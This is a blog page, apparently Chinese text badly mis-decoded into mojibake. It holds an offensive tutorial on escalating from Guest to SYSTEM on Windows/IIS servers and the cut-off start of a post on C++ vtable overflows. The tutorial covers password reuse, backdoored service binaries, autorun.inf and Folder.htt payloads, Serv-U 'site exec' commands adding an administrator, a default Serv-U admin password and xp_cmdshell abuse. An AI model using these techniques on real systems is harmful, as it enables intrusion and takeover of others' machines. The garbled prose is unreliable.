-
GuestȨÏÞÌáÉý·½·¨×ܽá
2008-03-03 11:26:46
ÏÖÔÚµÄÈëÇÖÊÇÔ½À´Ô½ÄÑÁË£¬ÈËÃǵݲȫÒâʶ¶¼ÆÕ±éÌá¸ßÁ˲»ÉÙ£¬Á¬¸öÈËÓû§¶¼¶®µÃ·À»ðǽ£¬É±¶¾Èí¼þҪװ±¸ÔÚÊÖ£¬¶ÔÓÚ΢ÈíµÄ²¹¶¡Éý¼¶Ò²²»ÔÙÊDz»¼ÓÎʽò¡£Òò´ËÏÖÔÚÎÒÃÇÏëÔÚÒòÌØÍøÉÏɨÃèÈõ¿ÚÁîµÄÖ÷»úÒѾ¼¸ºõÊdzÕÐÄÍýÏëÁË¡££¨Õâ¿ÉÊÇÒ»¼þ´ó´óµÄºÃʰ¡¡££©
µ«ÊÇÕâҲʹµÃÎÒÃÇ×÷ºÚ¿ÍµÄ½øÐÐÈëÇÖ¼ì²â´ïµ½ÁËÒ»¸öǰËùδÓеÄÄѶȡ£Í¨¹ý¸÷ÖÖÊֶΣ¬ÎÒÃÇͨ³£²¢²»ÄÜÖ±½Ó»ñµÃÒ»¸öϵͳµÄ¹ÜÀíԱȨÏÞ¡£±ÈÈçÎÒÃÇͨ¹ýijЩ¶ÔIISµÄ¹¥»÷£¬Ö»ÄÜ»ñµÃIUSR-MACHINENAMEµÄȨÏÞ£¨ÈçÉÏ´«aspľÂí£¬ÒÔ¼°Ä³Ð©Òç³öµÈ£©¡£Õâ¸öÕʺÅͨ³£¿ÉÊÇϵͳĬÈϵÄguestȨÏÞ£¬ÓÚÊÇ£¬ÈçºÎÄõ½ÏµÍ³¹ÜÀíÔ±»òÕßÊÇsystemȨÏÞ£¬±ãÏÔµÃÈÕÒæÖØÒªÁË¡£
ÓÚÊÇ£¬ÎÒ¾Í×ܽáÁËһϴó¼ÒËù¾³£Ê¹Óõļ¸ÖÖÌáÉýȨÏ޵ķ½·¨£¬ÒÔÏÂÄÚÈÝÊÇÎÒÕûÀíµÄ£¬Ã»ÓÐʲôÐµķ½·¨£¬Ð´¸øºÍÎÒÒ»ÑùµÄ²ËÄñ¿´µÄ¡£¸ßÊÖÃǾͿÉÒÔÂÔÈ¥ÁË£¬µ±È»£¬ÄãÒª¸´Ï°ÎÒ²»·´¶Ô£¬Ë³±ã°ïÎÒ²é²éÓÐʲô²¹³äÓëÐ޸ģº
1¡¢Éç»á¹¤³Ìѧ¡£
¶ÔÓÚÉç»á¹¤³Ìѧ£¬ÎÒÏë´ó¼ÒÒ»¶¨²»»áİÉú°É£¿£¨Èç¹ûÄ㻹²»Ì«Ã÷°×Õâ¸öÃû´ÊµÄ»°£¬½¨ÒéÄãÈ¥ÕÒһЩÏà¹Ø×ÊÁϲé²é¿´¡££©ÎÒÃÇͨ³£ÊÇͨ¹ý¸÷ÖÖ°ì·¨»ñµÃÄ¿±êµÄÃô¸ÐÐÅÏ¢£¬È»ºó¼ÓÒÔ·ÖÎö£¬´Ó¶ø¿ÉÒÔÍÆ¶Ï³ö¶Ô·½adminµÄÃÜÂë¡£¾ÙÒ»¸öÀý×Ó£º¼ÙÈçÎÒÃÇÊÇͨ¹ý¶Ô·þÎñÆ÷½øÐÐÊý¾Ý¿â²Â½â´Ó¶øµÃµ½adminÔÚÍøÕ¾ÉϵÄÃÜÂ룬Ȼºó½è´ËÉÏ´«ÁËÒ»¸öº£Ñó¶¥¶ËľÂí£¬Äã»áÔõô×ö£¿ÏÈ·Ïäµ¹¹ñ²ì¿´aspÎļþµÄ´úÂëÒÔÏ£Íû²ì¿´µ½Á¬½ÓSQLµÄÕʺÅÃÜÂ룿´í´í´í£¬ÎÒÃÇÓ¦¸ÃÏȼüÈëÒ»¸önetstat ¨CanÃüÁî²ì¿´Ëû¿ªµÄ¶Ë¿Ú£¨µ±È»ÓÃnet startÃüÁî²ì¿´·þÎñÒ²ÐУ©¡£Ò»µ©·¢ÏÖËû¿ªÁË3389£¬ÓÌԥʲô£¿ÂíÉÏÄóöÄãµÄÖÕ¶ËÁ¬½ÓÆ÷£¬ÌíÉ϶Է½IP£¬¼üÈëÄãÔÚËûÍøÕ¾ÉÏËù»ñµÃµÄÓû§Ãû¼°ÃÜÂë¡¡¼¸ÃëÖ®ºó£¬ºÇºÇ£¬½øÈ¥Á˰ɣ¿ÕâÊÇÒòΪ¸ù¾ÝÉç»á¹¤³ÌѧµÄÔÀí£¬Í¨³£ÈËÃÇΪÁ˼ÇÒä·½±ã£¬½«×Ô¼ºÔÚ¶à´¦µÄÓû§ÃûÓëÃÜÂë¶¼ÊÇÓÃͬÑùµÄ¡£ÓÚÊÇ£¬ÎÒÃÇ»ñµÃÁËËûÔÚÍøÕ¾ÉϵĹÜÀíÔ±ÃÜÂ룬Ҳ¾ÍµÈͬÓÚ»ñµÃÁËËûËùÓеÄÃÜÂë¡£ÆäÖоͰüÀ¨ÏµÍ³adminÃÜÂë¡£ÓÚÊÇÎÒÃǾͿÉÒÔ½è´ËµÇÈëËûµÄ3389À£¡
¼´Ê¹Ëû²¢Ã»ÓпªÆô3389·þÎñ£¬ÎÒÃÇÒ²¿ÉÒÔÆ¾½èÕâ¸öÃÜÂëµ½ËûµÄFTP·þÎñÆ÷ÉÏÊÔÊÔ£¬Èç¹ûËûµÄFTP·þÎñÆ÷ÊÇserv-u 5.004 ÒÔϰ汾£¬¶øÕʺÅÓÖ¾ßÓÐдȨÏÞ£¬ÄÇôÎÒÃǾͿÉÒÔ½øÐÐÒç³ö¹¥»÷ÁË£¡Õâ¿ÉÊÇ¿ÉÒÔÖ±½ÓÄõ½systemȨÏÞµÄŶ£¡£¨ÀûÓÃserv-u»¹ÓÐÁ½¸öÌáÉýȨÏ޵ķ½·¨£¬
ÎÒ´ý»á¶ù»á˵µÄ£©ÊµÔÚ²»ÐУ¬ÎÒÃÇÒ²¿ÉÒÔÄÃËüµÄÕʺÅÈ¥¸÷´óÍøÕ¾ÊÔÊÔ£¡»òÐí¾ÍÄܽøÈëËûËùÉêÇëµÄÓÊÏäÄõ½²»ÉÙÓÐÓõÄÐÅÏ¢£¡¿ÉÒÔÓÃÀ´ÅäºÏÎÒÃÇÒÔºóµÄÐж¯¡£
»¹ÓÐÒ»ÖÖ˼·£¬ÎÒÃÇÖªµÀ£¬Ò»¸öÍøÕ¾µÄÍø¹Üͨ³£»á½«×Ô¼ºµÄÖ÷Ò³ÉèΪIE´ò¿ªºóµÄĬÈÏÖ÷Ò³£¬ÒÔ±ãÓÚ¹ÜÀí¡£ÎÒÃǾͿÉÒÔÀûÓÃÕâÒ»µã£¬½«Ëû×Ô¼ºµÄÖ÷Ò³Ö²ÉÏÍøÒ³Ä¾Âí¡¡È»ºóµÈËû´ò¿ªIE¡¡ºÇºÇ£¬ËûÔõôҲ²»»áÏëµ½×Ô¼ºµÄÖ÷Ò³»á¸ø×Ô¼ºÖÖÉÏľÂí°É£¿
ÆäʵÀûÓÃÉç»á¹¤³ÌѧÓкܶàÖÖ·½·¨£¬Ïë×÷Ϊһ¸öºÏ¸ñºÚ¿Í£¬Õâ¿ÉÊDZØÑ§µÄŶ£¡¶à¶¯¶¯Äã×Ô¼ºµÄÄÔ×Ó£¬Äã²Å»á³É¹¦£¡2¡¢±¾µØÒç³ö¡£
΢ÈíʵÔÚÊÇÌ«¿É°®ÁË£¬Õâ¾ä»°Ò²²»ÖªÊÇÄÄλÈÊÐÖ˵µÄ£¬ÕæÊDz»¼Ù£¬Ê±²»Ê±µØ¾Í»á¸øÎÒÃÇËÍÀ´Ò»Ð©Òç³ö©¶´£¬ÏàÐÅͨ¹ý×î½üµÄMS-0011´ó¼ÒÒ»¶¨ÓÖ׬ÁËÒ»°ÑÈ⼦°É£¿ÆäʵÎÒÃÇÔÚÄõ½ÁËGuestȨÏÞµÄshellºóͬÑù¿ÉÒÔÓÃÒç³öÌáÉýȨÏÞ¡£×î³£ÓõľÍÊÇRunAs.exe¡¢ winwmiex.exe »òÊÇPipeUpAdminµÈµÈ¡£ÉÏ´«Ö´Ðкó¾Í¿ÉÒԵõ½AdminȨÏÞ¡£µ«Ò»¶¨ÊǶԷ½Ã»Óдò¹ý²¹¶¡µÄÇé¿öϲÅÐУ¬²»¹ý×î½ü΢ÈíµÄ©¶´Ò»¸ö½ÓÒ»¸ö£¬±¾µØÌáÉýȨÏÞµÄexploitÒ²»á³öÀ´µÄ£¬ËùÒÔ´ó¼ÒÒª¶à¶à¹ØÐÄ©¶´ÐÅÏ¢£¬»òÐíÏÂÒ»¸öexploit¾ÍÊÇÄãд³öÀ´µÄŶ£¡
3¡¢ÀûÓÃscriptsĿ¼µÄ¿ÉÖ´ÐÐȨÏÞ¡£
ÕâÒ²ÊÇÎÒÃÇÒÔǰµÃµ½webshellºó¾³£Ê¹ÓõÄÒ»ÕУ¬ÔÀíÊÇScriptsĿ¼ÊÇIISϵĿÉÔËÐÐĿ¼£¬È¨ÏÞ¾ÍÊÇÎÒÃÇÃÎÃÂÒÔÇóµÄSYSTEMȨÏÞ¡£³£¼ûµÄʹÓ÷½·¨¾ÍÊÇÔÚU©¶´Ê±´úÎÒÃÇÏÈÉÏ´«idq.dllµ½IISÖ÷Ŀ¼ÏµÄScriptsĿ¼£¬È»ºóÓÃispc.exe½øÐÐÁ¬½Ó£¬¾Í¿ÉÒÔÄõ½systemȨÏÞ£¬²»¹ýÕâ¸öÊÇÔÚMicrosoft³öÁËSP3Ö®ºó¾ÍÐв»Í¨ÁË£¬ÆäʵÎÒÃÇÈÔ¿ÉÒÔÀûÓôËĿ¼£¬Ö»ÒªÎÒÃÇÉÏ´«±ðµÄľÂíµ½´ËĿ¼£¬ÎÒ¾Ù¸öÀý×ӾͱÈÈçÊÇwinshellºÃÁË¡£È»ºóÎÒÃÇÔÚIEÖÐÊäÈ룺
http://targetIP/Scripts/ľÂíÎļþÃû.exe
µÈÒ»»á£¬¿´µ½ÏÂÃæ½ø¶ÈÌõÏÔʾ¡°Íê³É¡±Ê±£¬¿ÉÒÔÁË£¬Á¬½ÓÄãÉ趨µÄ¶Ë¿Ú°É£¡ÎÒÕâÀïÊÇĬÈϵÄ5277£¬Á¬½ÓºÃºó¾ÍÊÇSYSTEMȨÏÞÁË£¡ÕâʱÄãÒª¸ÉʲôÎҾ͹ܲ»×ÅÁË¡¡ºÙºÙ
4¡¢Ì滻ϵͳ·þÎñ¡£
Õâ¿ÉÊǹã´óºÚÓÑÀִ˲»Æ£µÄÒ»ÕС£ÒòΪwindowsÔÊÐí¶ÔÕýÔÚÔËÐÐÖеijÌÐò½øÐи͝£¬ËùÒÔÎÒÃǾͿÉÒÔÌæ»»ËûµÄ·þÎñÒÔʹµÃϵͳÔÚÖØÆôºó×Ô¶¯ÔËÐÐÎÒÃǵĺóÃÅ»òÊÇľÂí£¡Ê×ÏÈ£¬Í¨¹ýÄã»ñµÃµÄguestȨÏÞµÄshellÊäÈ룺net startÃüÁ²ì¿´ËûËùÔËÐеķþÎñ¡£´ËʱÈç¹ûÄã¶ÔwindowsµÄϵͳ·þÎñÊìϤµÄ»°£¬¿ÉÒԺܿ쿴³öÄÄЩ·þÎñÎÒÃÇ¿ÉÒÔÀûÓá£
C:\WINNT\System32\>net start
ÒѾÆô¶¯ÒÔÏ Windows ·þÎñ:COM+ Event System
Cryptographic Services
DHCP Client
Distributed Link Tracking Client
DNS Client
Event Log
Help and Support
IPSEC Services
Logical Disk Manager
Logical Disk Manager Administrative Servic
Network Connections
Network Location Awareness (NLA)
Protected Storage
Remote Procedure Call (RPC)
Rising Process Communication Center
Rising Realtime Monitor Service
Secondary Logon
Security Accounts Manager
Shell Hardware Detection
System Event Notification
System Restore Service
Telephony
Themes
Upload Manager
WebClient
Windows Audio
Windows Image Acquisition (WIA)
Windows Management Instrumentation
Windows Time
Wireless Zero Configuration
WorkstationÃüÁî³É¹¦Íê³É¡£
ÎÒÏÈÔÚÎҵĻúÆ÷ÉÏÔËÐÐÒ»ÏÂÃüÁî×ö¸öʾ·¶£¨´ó¼Ò±ðºÚÎÒѽ£©£¬×¢ÒâÎÒÓúìÉ«±ê×¢µÄ²¿·Ö£¬ÄÇÊÇÎÒ°²×°µÄÈðÐÇ¡£Rising Process Communication Center·þÎñËùµ÷ÓõÄÊÇCCenter.exe£¬¶øRising Realtime Monitor Service·þÎñµ÷ÓõÄÊÇRavMonD.exe¡£ÕâЩ¶¼ÊǵÚÈý·½·þÎñ£¬¿ÉÒÔÀûÓᣣ¨Ç¿ÁÒÍÆ¼öÌæ»»µÚÈý·½·þÎñ£¬¶ø²»ÒªÂÒ¶¯ÏµÍ³·þÎñ£¬·ñÔò»áÔì³Éϵͳ²»Îȶ¨£©ÓÚÊÇÎÒÃÇËÑË÷ÕâÁ½¸öÎļþ£¬·¢ÏÖËûÃÇÔÚD:\ rising\rav\Îļþ¼ÐÖУ¬´ËʱעÒâÒ»µã£ºÈç¹û´ËÎļþÊÇÔÚϵͳÅ̵ÄProgram FilesĿ¼ÖÐʱ£¬ÎÒÃÇÒªÖªµÀ£¬Èç¹û¶Ô·½ÊÇʹÓõÄNTFS¸ñʽµÄÓ²ÅÌ£¬ÄÇôϵͳÅÌϵÄÕâ¸öÎļþ¼ÐguestȨÏÞÊÇĬÈϲ»¿ÉдµÄ£¬»¹ÓÐWindowsĿ¼¡¢Documents and SettingsĿ¼ÕâЩ¶¼ÊDz»¿ÉдµÄ£¬ËùÒÔÎÒÃǾͲ»ÄÜÌæ»»Îļþ£¬Ö»ÄÜÁîı;¾¶ÁË¡££¨ÕâÒ²ÊÇΪʲôÎÒ²»½¨ÒéÌæ»»ÏµÍ³·þÎñµÄÔÒòÖ®Ò»£¬ÒòΪϵͳ·þÎñÎļþ¶¼ÔÚWindows\System32Ŀ¼ÖУ¬²»¿Éд£©µ«Èç¹ûÊÇFAT32¸ñʽ¾Í²»Óõ£ÐÄ£¬ÓÉÓÚËüµÄÏÈÌì²»×㣬ËùÓÐÎļþ¼Ð¶¼ÊÇ¿ÉдµÄ¡£
ÓÚÊǾÍÓÐÈË»áÎÊ£ºÈç¹ûÊÇNTFS¸ñʽÄѵÀÎÒÃǾÍûÕÞÁËÂð£¿
µ±È»²»ÊÇ£¬NTFS¸ñʽĬÈÏÇé¿öϳýÁ˶ÔÄÇÈý¸öÎļþ¼ÐÓÐÏÞÖÆÍ⣬ÆäÓàµÄÎļþ¼Ð¡¢·ÖÇø¶¼ÊÇeveryoneÍêÈ«¿ØÖÆ¡££¨Ò²¾ÍÊÇ˵ÎÒ¼´Ê¹ÊÇIPC$µÄÄäÃûÁ¬½Ó£¬¶¼»á¶ÔÕâЩµØ·½ÓпÉд¿ÉÔËÐÐȨÏÞ£¡£©ËùÒÔÒ»µ©¶Ô·½µÄµÚÈý·½·þÎñ²»Êǰ²×°ÔÚÄÇÈý¸öÎļþ¼ÐÖУ¬ÎÒÃǾͿÉÒÔÌæ»»ÁË£¡ÎÒ¾ÍÄÃCCenterÏÂÊÖ£¬ÏȽ«ËüÏÂÔØµ½±¾µØ»úÆ÷ÉÏ£¨FTP¡¢·Åµ½IISÖ÷Ŀ¼ÖÐÔÙÏÂÔØµÈµÈ¡¡£©È»ºóÄóöÄãµÄÎļþÀ¦°ó»ú£¬ÕÒµ½Ò»¸öÄã×îÄÃÊֵĺóÃÅ¡¡ºÇºÇ£¬À¦°óºÃºó£¬ÉÏ´«£¬ÏȽ«¶Ô·½µÄCCenter.exeÎļþ¸Ä¸öÃûCCENTBAK.exe£¬È»ºóÌæ»»³É×Ô¼ºµÄCCenter¡£ÏÖÔÚÖ»ÐèÒªµÈ¶Ô·½µÄ»úÆ÷ÖØÆô£¬ÎÒÃǵĺóÞͿÉÒÔÔËÐÐÁË£¡ÓÉÓÚWindowsϵͳµÄ²»Îȶ¨£¬Ö÷»úÔÚÒ»¸öÀñ°Ýºó¾Í»áÖØÆô£¬£¨µ±È»Èç¹ûÄãµÈ²»¼°µÄ»°£¬¿ÉÒÔ¶Ô´Ë·þÎñÆ÷½øÐÐDDOS¹¥»÷ÆÈʹËûÖØÆô£¬µ«ÎÒ²¢²»ÔÞͬ£¡£©´ËʱµÇÉÏÄãµÄºóÃÅ£¬¾ÍÊÇSystemȨÏÞÁË£¡
5¡¢Ìæ»»admin³£ÓóÌÐò¡£
Èç¹û¶Ô·½Ã»ÓÐÄãËùÄÜÀûÓõķþÎñ£¬Ò²¿ÉÒÔÌæ»»¶Ô·½¹ÜÀíÔ±³£ÓõijÌÐò£¬ÀýÈçQQ£¬MSNµÈµÈ£¬¾ßÌåÌæ»»·½·¨ÓëÌæ»»·þÎñÒ»Ñù£¬Ö»ÊÇÄãµÄºóÃÅʲôʱºò¿ÉÒÔÆô¶¯¾ÍµÃ¿´ÄãµÄÔËÆøÁË¡£
6¡¢ÀûÓÃautorun .inf»òdesktop.ini¡£
ÎÒÃdz£»áÅöµ½ÕâÖÖÊ£º¹âÅ̷Žø¹âÇý£¬¾Í»á×Ô¶¯Ìø³öÀ´Ò»¶ÎFLASH£¬ÕâÊÇΪʲô£¿ºÇºÇ£¬Äãµ½¹âÅ̵ĸùĿ¼Öп´¿´£¬ÊÇ·ñÓÐÒ»¸öautorun.infµÄÎļþ£¿ÓüÇʱ¾´ò¿ªÀ´¿´¿´£¬ÊDz»ÊÇÓÐÕâôһ¾ä»°£ºautorun=xxx.exe Õâ¾ÍÊÇÄã¸Õ²ÅËù¿´µ½µÄ×Ô¶¯ÔËÐеijÌÐòÁË¡£
ÓÚÊÇÎÒÃǾͿÉÒÔÀûÓÃÕâ¸öÀ´ÌáÉýÎÒÃǵÄȨÏÞ¡£ÏÈÅäÖúÃÒ»¸öºóÃÅ£¬£¨ÎÒ³£ÓõÄÊÇwinshell£¬µ±È»Äã²»ÓÃÕâ¸öÒ²ÐУ©ÉÏ´«µ½ËûDÅÌϵÄÈÎÒâÒ»¸öÎļþ¼ÐÖУ¬È»ºó´ÓÄãÄǸö×ÔÔËÐеĹâÅÌÖаÑautorun.infÎļþÒ²ÉÏ´«£¬²»¹ýÉÏ´«Ç°ÏȽ«autorun=xxx.exe ºóÃæµÄxxx.exe¸ÄΪÄãÅäÖõĺóÃÅÎļþ;¾¶¡¢ÎļþÃû£¬È»ºóÔÙÉÏ´«µ½dÅ̸ùĿ¼Ï£¬¼ÓÉÏÖ»¶Á¡¢ÏµÍ³¡¢Òþ²ØÊôÐÔ¡£OK¾ÍµÈ¶Ô·½adminä¯ÀÀDÅÌ£¬ÎÒÃǵĺóÞͿÉÒÔÆô¶¯ÁË£¡£¨µ±È»£¬Õâ±ØÐëÊÇÔÚËûûÓнûÖ¹×Ô¶¯ÔËÐеÄÇé¿öϲÅÐС££©
ÁíÍâÓÐÏàͬ×÷ÓõÄÊÇdesktop.ini¡£´ó¼Ò¶¼ÖªµÀwindowsÖ§³Ö×Ô¶¨ÒåÎļþ£¬ÆäʵËü¾ÍÊÇͨ¹ýÔÚÎļþ¼ÐÖÐдÈëÌØ¶¨Îļþ¡ª¡ªdesktop.iniÓëFolder.httÀ´ÊµÏֵģ¬ÎÒÃǾͿÉÒÔÀûÓÃÐÞ¸ÄÕâÎļþÀ´´ïµ½ÎÒÃǵÄÄ¿µÄ¡£
Ê×ÏÈ£¬ÎÒÃÇÏÖÔÚ±¾µØ½¨Á¢Ò»¸öÎļþ¼Ð£¬Ãû×Ö²»ÖØÒª£¬½øÈëËü£¬ÔÚ¿Õ°×´¦µãÓÒ¼ü£¬Ñ¡Ôñ¡°×Ô¶¨ÒåÎļþ¼Ð¡±£¨xpºÃÏñÊDz»Ðеģ©Ò»Ö±Ïµ㣬ĬÈϼ´¿É¡£Íê³Éºó£¬Äã¾Í»á¿´µ½ÔÚ´ËĿ¼Ï¶àÁËÁ½¸öÃûΪFolder settingµÄÎļþ¼ÜÓëdesktop.iniµÄÎļþ£¬£¨Èç¹ûÄã¿´²»µ½£¬ÏÈÈ¡Ïû¡°Òþ²ØÊܱ£»¤µÄ²Ù×÷ϵͳÎļþ¡±£©È»ºóÎÒÃÇÔÚFolder settingĿ¼ÏÂÕÒµ½Folder.httÎļþ£¬¼Çʱ¾´ò¿ª£¬ÔÚÈÎÒâµØ·½¼ÓÈëÒÔÏ´úÂ룺
<OBJECT ID=¡±RUNIT¡± WIDTH=0 HEIGHT=0 TYPE=¡±application/x-oleobject¡± CODEBASE=¡±ÄãµÄºóÃÅÎļþÃû¡±>
</OBJECT>È»ºóÄ㽫ÄãµÄºóÃÅÎļþ·ÅÔÚFolder settingĿ¼Ï£¬°Ñ´ËĿ¼Óëdesktop.iniÒ»ÆðÉÏ´«µ½¶Ô·½ÈÎÒâÒ»¸öĿ¼Ï£¬¾Í¿ÉÒÔÁË£¬Ö»ÒªµÈ¹ÜÀíÔ±ä¯ÀÀÁË´ËĿ¼£¬Ëü¾ÍÖ´ÐÐÁËÎÒÃǵĺóÃÅ£¡£¨Èç¹ûÄã²»·ÅÐÄ£¬¿ÉÒÔ¶àÉèÖü¸¸öĿ¼£©
7¡¢Serv-UÌáÉýȨÏÞ
ÀûÓÃServ-UÌáÉýȨÏÞ¹²ÓÐÈýÖÖ·½·¨£¬Òç³öÊǵÚÒ»ÖÖ£¬ÎÒ֮ǰÒѾ˵¹ý£¬ÕâÀï¾Í²»½éÉÜÁË¡£ÎÒÒª½²µÄÊÇÆäÓàÁ½ÖÖ°ì·¨¡£
°ì·¨Ò»£ºÒªÇ󣺶ÔServ-u°²×°Ä¿Â¼ÓÐÍêÈ«¿ØÖÆÈ¨¡£
·½·¨£º½øÈë¶Ô·½µÄServ-UĿ¼£¬²ì¿´ËûµÄServUDaemon.ini£¬ÕâÊÇServ-UµÄÅäÖÃÎļþ£¬Èç¹û¹ÜÀíԱûÓÐÑ¡Ôñ½«serv- uµÄËùÓÐÅäÖÃдÈë×¢²á±íµÄ»°£¬ÎÒÃǾͿÉÒÔ´ÓÕâ¸öÎļþÖп´µ½Serv-UµÄËùÓÐÐÅÏ¢£¬°æ±¾¡¢IP¡¢ÉõÖÁÓû§ÃûÓëÃÜÂ룡ÔçЩ°æ±¾µÄÃÜÂëÊDz»¼ÓÃܵ쬵«ÊǺóÀ´ÊǾ¹ýÁËMD5¼ÓÃÜ¡£ËùÒÔ²»ÄÜÖ±½ÓµÃµ½ÆäÃÜÂë¡£²»¹ýÎÒÃÇÈÔÈ»Óа취£ºÏÈÔÚ±¾µØ°²×°Ò»¸öServ-U£¨°æ±¾×îºÃе㣩£¬½«Äã×Ô¼ºµÄServUDaemon.iniÎļþÓôÓËûÄÇÏÂÔØÏÂÀ´µÄServUDaemon.ini ¸²¸Çµô£¬ÖØÆðÒ»ÏÂServ-U£¬ÓÚÊÇÄãÉÏÃæµÄËùÓÐÅäÖö¼ÓëËûµÄһģһÑùÁË¡£ÎÒÃÇн¨Ò»¸öÓû§£¬Ê²Ã´×é²»ÖØÒª£¬ÖØÒªµÄÊǽ«ËûµÄÖ÷Ŀ¼¸ÄΪ¶Ô·½µÄϵͳÅÌ£¬È»ºó¼ÓÉÏÖ´ÐÐȨÏÞ£¡Õâ¸ö×îÖØÒª¡£¸ü¸ÄÍêºóÓ¦Óã¬Í˳ö¡£ÔÙ½«Äã¸ü¸Ä¹ýµÄServUDaemon.ini ÎļþÉÏ´«£¬¸²¸ÇµôËûµÄÎļþ£¬È»ºó¾ÍµÈËûµÄServ-UÖØÆô¸üÐÂÅäÖã¬Ö®ºóÎÒÃǾͿÉÒÔµÇÈëËûµÄFTP¡£½øÈëºóÖ´ÐÐÒÔÏÂÃüÁ
Cd windows
Cd System32
Quote site exec net.exe user wofeiwo /add
Quote site exec net.exe localgroup administrators wofeiwo /add
ByeÈ»ºóÄã¾ÍÓÐÁËÒ»¸ö½ÐwofeiwoµÄϵͳ¹ÜÀíÔ±ÁË£¬»¹µÈʲô?µÇ½3389£¬´ó¹¦¸æ³É£¡
°ì·¨¶þ£ºServ-u¿ªÁËÁ½¸ö¶Ë¿Ú£¬Ò»¸öÊÇ21£¬Ò²¾ÍÊǣƣԣÐÁË£¬¶øÁíÒ»¸öÊÇ43958£¬Õâ¸ö¶Ë¿ÚÊǸÉʲôµÄ£¿ºÙºÙ£¬Õâ¸öÊÇ£Ó£å£ò£ö££ÕµÄ±¾µØ¹ÜÀí¶Ë¿Ú¡£µ«ÊÇĬÈÏÊDz»×¼³ýÁË£±£²£·£®£°£®£°£®£±ÍâµÄ£é£ðÁ¬½ÓµÄ£¬´Ëʱ¾ÍÒªÓõ½FPIPE.exeÎļþ£¬ÕâÊÇÒ»¸ö¶Ë¿Úת·¢³ÌÐò£¬ÉÏ´«Ëû£¬Ö´ÐÐÃüÁ
Fpipe ¨Cv ¨Cl 3333 ¨Cr 43958 127.0.0.1
Òâ˼Êǽ«4444¶Ë¿ÚÓ³Éäµ½43958¶Ë¿ÚÉÏ¡£
È»ºó¾Í¿ÉÒÔÔÚ±¾µØ°²×°Ò»¸öServ-u£¬Ð½¨Ò»¸ö·þÎñÆ÷£¬IPÌî¶Ô·½IP£¬ÕʺÅΪLocalAdministrator ÃÜÂëΪ#1@$ak#.1k;0@p Á¬½ÓÉϺóÄã¾Í¿ÉÒÔ¹ÜÀíËûµÄServ-uÁË£¬Ö®ºóÌáÉýȨÏ޵ķ½·¨²Î¿¼°ì·¨Ò»¡£ÎҾͲ»×¸ÊöÁË¡£
8¡¢SQLÕÊ»§ÃÜÂëй¶¡£
Èç¹û¶Ô·½¿ªÁËMSSQL·þÎñÆ÷£¬ÎÒÃǾͿÉÒÔͨ¹ýÓÃSQLÁ¬½ÓÆ÷¼Ó¹ÜÀíÔ±Õʺţ¬ÒòΪMSSQLÊÇĬÈϵÄSYSTEMȨÏÞ¡£
ÒªÇó£ºÄãµÃµ½Á˶Է½MSSQL¹ÜÀíÔ±ÃÜÂ루¿ÉÒÔ´ÓËûµÄÁ¬½ÓÊý¾Ý¿âµÄASPÎļþÖп´µ½£©,¶Ô·½Ã»ÓÐɾ³ýxp_cmdshell
·½·¨£ºÊ¹ÓÃSqlexec.exe£¬ÔÚhost Ò»À¸ÖÐÌîÈë¶Ô·½IP£¬UserÓëPassÖÐÌîÈëÄãËùµÃµ½µÄÓû§ÃûÓëÃÜÂë¡£formatÑ¡Ôñxp_cmdshell¡±%s¡±¼´¿É¡£È»ºóµã»÷connect£¬Á¬½ÓÉϺó¾Í¿ÉÒÔÔÚCMDÒ»À¸ÖÐÊäÈëÄãÏëÒªµÄCMDÃüÁîÁË¡£ -
C++ÖÐͨ¹ýÒç³ö¸²¸ÇÐ麯ÊýÖ¸ÕëÁбíÖ´ÐдúÂë
2008-03-03 11:25:53
Ŀ¼:
1. C++ÖÐÐ麯ÊýµÄ¾²Ì¬Áª±àºÍ¶¯Ì¬Áª±à
2. VCÖжÔÏóµÄ¿Õ¼ä×éÖ¯ºÍÒç³öÊÔÑé
3. GCCÖжÔÏóµÄ¿Õ¼ä×éÖ¯ºÍÒç³öÊÔÑé
4. ²Î¿¼
<Ò»> C++ÖÐÐ麯ÊýµÄ¾²Ì¬Áª±àºÍ¶¯Ì¬Áª±àC++ÖеÄÒ»´ó·¨±¦¾ÍÊÇÐ麯Êý£¬¼òµ¥À´Ëµ¾ÍÊǼÓvirtual¹Ø¼ü×Ö¶¨ÒåµÄº¯Êý¡£
ÆäÌØÐÔ¾ÍÊÇÖ§³Ö¶¯Ì¬Áª±à¡£ÏÖÔÚC++¿ª·¢µÄ´óÐÍÈí¼þÖм¸ºõÒѾÀë²»¿ªÐ麯ÊýµÄ
ʹÓã¬Ò»¸öµäÐ͵ÄÀý×Ó¾ÍÊÇÐ麯ÊýÊÇMFCµÄ»ùʯ֮һ¡£ÕâÀïÓÐÁ½¸ö¸ÅÄîÐèÒªÏȽâÊÍ:
¾²Ì¬Áª±à:ͨË×µãÀ´½²¾ÍÊdzÌÐò±àÒëʱȷ¶¨µ÷ÓÃÄ¿±êµÄµØÖ·¡£
¶¯Ì¬Áª±à:³ÌÐòÔËÐн׶ÎÈ·¶¨µ÷ÓÃÄ¿±êµÄµØÖ·¡£
ÔÚC++ÖÐͨ³£µÄº¯Êýµ÷Óö¼ÊǾ²Ì¬Áª±à£¬µ«Èç¹û¶¨Ò庯Êýʱ¼ÓÁËvirtual¹Ø¼ü
×Ö£¬²¢ÇÒÔÚµ÷Óú¯ÊýʱÊÇͨ¹ýÖ¸Õë»òÒýÓõ÷Óã¬ÄÇô´Ëʱ¾ÍÊDzÉÓö¯Ì¬Áª±à¡£Ò»¸ö¼òµ¥Àý×Ó:
// test.cpp
#include<iostream.h>
class ClassA
{
public:
int num1;
ClassA(){ num1=0xffff; };
virtual void test1(void){};
virtual void test2(void){};
};
ClassA objA,* pobjA;int main(void)
{
pobjA=&objA;
objA.test1();
objA.test2();
pobjA->test1();
pobjA->test2();
return 0;
}
ʹÓÃVC±àÒ룺
¿ªÒ»¸öÃüÁîÐÐÖ±½ÓÔÚÃüÁîÐе÷ÓÃclÀ´±àÒë: (Èç¹ûÄã°²×°vcʱûÓÐÑ¡Ôñ×¢²á»·¾³
±äÁ¿£¬ÄÇôÏÈÔÚÃüÁîÐÐÔËÐÐVCĿ¼ÏÂbin\VCVARS32.BAT )cl test.cpp /Fa
²úÉútest.asmÖмä»ã±à´úÂë½ÓÏÂÀ´¾Í¿´¿´asmÀïÓÐʲôÐþÐ飬·ÖÎöÆðÀ´Óе㳤£¬ÒªÓÐÄÍÐÄ !
ÎÒÃÇÀ´¿´¿´:
Êý¾Ý¶¨Òå:
_BSS SEGMENT
?objA@@3VClassA@@A DQ 01H DUP (?) ;objA 64λ
?pobjA@@3PAVClassA@@A DD 01H DUP (?) ;pobjA Ò»¸öµØÖ·32λ
